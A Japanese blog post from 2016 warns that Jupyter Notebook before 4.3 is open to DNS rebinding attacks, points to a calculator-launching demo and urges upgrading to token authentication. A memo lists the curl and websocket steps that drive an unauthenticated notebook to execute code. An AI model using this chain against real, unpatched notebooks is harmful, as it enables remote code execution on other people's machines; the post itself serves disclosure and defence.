HEAD / archives / 2016-12 / 2016-12-27.rst
古い jupyter notebook (<4.3) は危ないので気をつけようという話
概要
古い jupyter notebook (バージョン 4.3 未満) は DNS rebinding attack に対して脆弱です。 そのため、ローカルで notebook 動作中に悪意あるウェブページを閲覧しただけで、任意コードの実行を許す恐れがあります。
バージョン 4.3 からデフォルトで有効になった token 認証によってこの攻撃は防げるので、さっさと最新版に上げときましょう。
デモ
お手元で pip install "notebook<4.3" して、 jupyter-notebook を起動してから上記 URL にアクセスしてみてください。 待っているとそのうち電卓が起動すると思います。
(一応 notebook-4.2.3 に対して Ubuntu と OSX 上で、 firefox と chrome で動作を確認してます。)
説明
- DNS rebinding attack によって、悪意あるウェブページ上で動作する javascript からローカルで動作する jupyter notebook に対して、任意の HTTP リクエストを送ることが出来ます。
- 古い jupyter notebook はリクエストの認証や Host ヘッダの確認といった対策を行っていないので、このリクエストを普通に受け入れてしまいます。
- jupyter notebook に任意のリクエストを送れるということは、要するに任意の python コードを実行できるということです。
- バージョン 4.3 から token 認証がデフォルトで有効となりました。 攻撃者は token を知ることが出来ないため、 notebook へのリクエストを成功させることが出来ません。 よって、コード実行なども出来ません。
- ということで、 jupyter notebook は最新にしておきましょう。
メモ
コード実行までに必要な notebook の API について。
新しい .ipynb ファイルの作成
$ curl -d '{"type":"notebook"}' http://localhost:8888/api/contents | jq . { "format": null, "name": "Untitled.ipynb", "last_modified": "2016-12-25T09:00:00.000000+00:00", "writable": true, "path": "Untitled.ipynb", "content": null, "created": "2016-12-25T09:00:00.000000+00:00", "type": "notebook", "mimetype": null }
どの kernel が利用できるのか調べる。
$ curl http://localhost:8888/api/kernelspecs | jq . { "default": "python3", "kernelspecs": { "python3": { "name": "python3", "resources": { "logo-32x32": "/kernelspecs/python3/logo-32x32.png", "logo-64x64": "/kernelspecs/python3/logo-64x64.png" }, "spec": { "language": "python", "argv": [ "/venv/bin/python3.5", "-m", "ipykernel", "-f", "{connection_file}" ], "env": {}, "display_name": "Python 3" } } } }
kernel の起動
$ curl -d '{"notebook": {"path": "Untitled.ipynb"}, "kernel": {"id": null, "name": "python3"}}' http://localhost:8888/api/sessions | jq . { "kernel": { "name": "python3", "id": "4102da2b-bb4c-47f9-8660-cf5b84779d07" }, "id": "92aa4c5c-d83d-4924-8bcc-80bb523f9f19", "notebook": { "path": "Untitled.ipynb" } }
kernel に接続
ws://localhost:8888/api/kernels/<KERNEL-ID>/channels?session_id=<SESSIONID> に websocket で接続する。
(<KERNEL-ID> のトコには上記で返ってきた kernel.id を入れる。)
(<SESSIONID> はテキトウにランダム生成すればよさそう。)
コードの実行
以下のような JSON 文字列を websocket に send する:
{ "header": { "msg_id": "<MESSAGEID>", "username": "username", "session": "<SESSIONID>", "msg_type": "execute_request", "version": "5.0" }, "metadata": {}, "content": { "code": "print('hello')", "silent": false, "store_history": true, "user_expressions": {}, "allow_stdin": true, "stop_on_error": true }, "buffers": [], "parent_header": {}, "channel": "shell" }
(<SESSIONID> には上記 <SESSIONID> と同じ値を渡しとけばよいっぽい。)
(<MESSAGEID> は何でもよさそう。)